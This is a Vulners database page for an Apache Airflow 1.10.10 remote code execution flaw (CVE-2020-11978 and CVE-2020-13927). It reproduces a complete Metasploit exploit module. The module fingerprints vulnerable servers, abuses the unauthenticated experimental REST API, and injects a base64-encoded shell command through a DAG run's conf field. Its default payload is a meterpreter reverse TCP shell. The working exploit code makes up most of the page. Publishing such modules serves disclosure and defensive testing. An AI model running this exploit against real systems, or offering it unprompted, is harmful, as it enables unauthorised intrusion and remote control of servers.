Lucene search
K

Apache Airflow 1.10.10 Remote Code Execution

🗓️ 19 Sep 2023 00:00:00Reported by Pepe Berba, Ismail E. Dawoodjee, xuxiang, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 595 Views

Apache Airflow 1.10.10 - Example DAG Remote Code Execution, CVE-2020-11978, CVE-2020-13927, unauthenticated command injection vulnerability, unauthenticated remote code execution

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Apache Airflow 1.10.10 - (Example Dag) Remote Code Execution Exploit
2 Jun 202100:00
zdt
0day.today
Apache Airflow 1.10.10 Remote Code Execution Exploit
19 Sep 202300:00
zdt
Gitee
Exploit for OS Command Injection in Apache Airflow
6 Sep 202512:42
gitee
GithubExploit
Exploit for OS Command Injection in Apache Airflow
22 May 202115:58
githubexploit
ATTACKERKB
CVE-2020-13927
10 Nov 202000:00
attackerkb
ATTACKERKB
CVE-2020-11978
17 Jul 202000:00
attackerkb
Tenable Nessus
Apache Airflow < 1.10.11 Multiple Vulnerabilities
13 Jun 202200:00
nessus
Circl
CVE-2020-11978
3 Jun 202100:39
circl
Circl
CVE-2020-13927
10 Nov 202018:27
circl
CISA KEV Catalog
Apache Airflow Command Injection
18 Jan 202200:00
cisa_kev
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Apache Airflow 1.10.10 - Example DAG Remote Code Execution',  
'Description' => %q{  
This module exploits an unauthenticated command injection vulnerability  
by combining two critical vulnerabilities in Apache Airflow 1.10.10.  
The first, CVE-2020-11978, is an authenticated command injection vulnerability  
found in one of Airflow's example DAGs, "example_trigger_target_dag", which  
allows any authenticated user to run arbitrary OS commands as the user  
running Airflow Worker/Scheduler. The second, CVE-2020-13927, is a default  
setting of Airflow 1.10.10 that allows unauthenticated access to Airflow's  
Experimental REST API to perform malicious actions such as creating the  
vulnerable DAG above. The two CVEs taken together allow vulnerable DAG creation  
and command injection, leading to unauthenticated remote code execution.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'xuxiang', # Original discovery and CVE submission  
'Pepe Berba', # ExploitDB author  
'Ismail E. Dawoodjee' # Metasploit module author  
],  
'References' => [  
[ 'EDB', '49927' ],  
[ 'CVE', '2020-11978' ],  
[ 'CVE', '2020-13927' ],  
[ 'URL', 'https://github.com/pberba/CVE-2020-11978/' ],  
[ 'URL', 'https://lists.apache.org/thread/cn57zwylxsnzjyjztwqxpmly0x9q5ljx' ],  
[ 'URL', 'https://lists.apache.org/thread/mq1bpqf3ztg1nhyc5qbrjobfrzttwx1d' ],  
],  
'Platform' => ['linux', 'unix'],  
'Arch' => ARCH_CMD,  
'Targets' => [  
[  
'Unix Command', { 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/python/meterpreter_reverse_tcp' } }  
],  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-07-14',  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]  
}  
)  
)  
register_options(  
[  
Opt::RPORT(8080, true, 'Apache Airflow webserver default port'),  
OptString.new('TARGETURI', [ true, 'Base path', '/' ]),  
OptString.new('DAG_PATH', [  
true,  
'Path to vulnerable example DAG',  
'/api/experimental/dags/example_trigger_target_dag'  
]),  
OptInt.new('TIMEOUT', [true, 'How long to wait for payload execution (seconds)', 120])  
]  
)  
end  
  
def check  
uri = normalize_uri(target_uri.path, 'admin', 'airflow', 'login')  
vprint_status("Checking target web server for a response at: #{full_uri(uri)}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res  
return CheckCode::Unknown('Target did not respond to check request.')  
end  
  
unless res.code == 200 &&  
res.body.downcase.include?('admin') &&  
res.body.downcase.include?('_csrf_token') &&  
res.body.downcase.include?('sign in to airflow')  
return CheckCode::Unknown('Target is not running Apache Airflow.')  
end  
  
vprint_good('Target is running Apache Airflow.')  
  
vprint_status('Checking Apache Airflow version...')  
version_number = res.body.to_s.scan(  
%r{<a href="https://airflow[.]apache[.]org/docs/([\d.]+)"}  
).flatten.first  
  
unless version_number  
return CheckCode::Detected('Apache Airflow version cannot be determined.')  
end  
  
unless Rex::Version.new(version_number) < Rex::Version.new('1.10.11')  
return CheckCode::Safe  
end  
  
vprint_status(  
"Target is running Apache Airflow Version #{version_number}. " \  
'Performing additional checks for exploitability...'  
)  
  
check_api  
check_task  
check_unpaused  
  
return CheckCode::Appears  
end  
  
def check_api  
uri = normalize_uri(target_uri.path, 'api', 'experimental', 'test')  
vprint_status("Checking if Airflow Experimental REST API is accessible at: #{full_uri(uri)}")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res && res.code == 200  
return CheckCode::Safe('Could not access the Airflow Experimental REST API.')  
end  
  
vprint_good('Airflow Experimental REST API is accessible.')  
end  
  
def check_task  
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'tasks', 'bash_task')  
vprint_status('Checking for vulnerability of "example_trigger_target_dag.bash_task"...')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res && res.code == 200  
return CheckCode::Safe(  
'Could not find "example_trigger_target_dag.bash_task". ' \  
'Target is not vulnerable to CVE-2020-11978.'  
)  
end  
  
if res.get_json_document['env'].include?('dag_run')  
return CheckCode::Safe(  
'The "example_trigger_target_dag.bash_task" is patched. ' \  
'Target is not vulnerable to CVE-2020-11978.'  
)  
end  
  
vprint_good('The "example_trigger_target_dag.bash_task" is vulnerable.')  
end  
  
def check_unpaused  
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'paused', 'false')  
vprint_status('Checking if "example_trigger_target_dag.bash_task" can be unpaused...')  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res && res.code == 200  
return CheckCode::Safe(  
'Could not unpause "example_trigger_target_dag.bash_task". ' \  
'Example DAGs were not loaded.'  
)  
end  
  
vprint_good('The "example_trigger_target_dag.bash_task" is unpaused.')  
end  
  
def create_dag(cmd)  
cmd = "echo #{Base64.strict_encode64(cmd)} | base64 -d | sh"  
uri = normalize_uri(target_uri.path, datastore['DAG_PATH'], 'dag_runs')  
vprint_status('Creating a new vulnerable DAG...')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => uri,  
'ctype' => 'application/json',  
'data' => JSON.generate({ conf: { message: "\"; #{cmd};#" } })  
})  
  
unless res && res.code == 200  
fail_with(Failure::PayloadFailed, 'Failed to create DAG.')  
end  
  
print_good("Successfully created DAG: #{res.get_json_document['message']}")  
return res.get_json_document['execution_date']  
end  
  
def await_execution(execution_date)  
uri = normalize_uri(  
target_uri.path,  
datastore['DAG_PATH'],  
'dag_runs', execution_date, 'tasks', 'bash_task'  
)  
print_status('Waiting for Scheduler to run the vulnerable DAG. This might take a while...')  
vprint_warning('If the Bash task is never queued, then the Scheduler might not be running.')  
  
i = 0  
loop do  
i += 1  
sleep(10)  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => uri  
})  
  
unless res && res.code == 200  
fail_with(Failure::Unknown, 'Bash task state cannot be determined.')  
end  
  
state = res.get_json_document['state']  
if state == 'queued'  
print_status('Bash task is queued...')  
elsif state == 'running'  
print_good('Bash task is running. Expect a session if executed successfully.')  
break  
elsif state == 'success'  
print_good('Successfully ran Bash task. Expect a session soon.')  
break  
elsif state == 'None'  
print_warning('Bash task is not yet queued...')  
elsif state == 'scheduled'  
print_status('Bash task is scheduled...')  
else  
print_status("Bash task state: #{state}.")  
break  
end  
# stop loop when timeout  
next unless datastore['TIMEOUT'] <= 10 * i  
  
fail_with(Failure::TimeoutExpired,  
'Bash task did not run within the specified time ' \  
"- #{datastore['TIMEOUT']} seconds.")  
end  
end  
  
def exploit  
print_status("Executing TARGET: \"#{target.name}\" with PAYLOAD: \"#{datastore['PAYLOAD']}\"")  
execution_date = create_dag(payload.encoded)  
await_execution(execution_date)  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

19 Sep 2023 00:00Current
7.1High risk
Vulners AI Score7.1
CVSS 27.5
CVSS 3.19.8
EPSS0.94272
595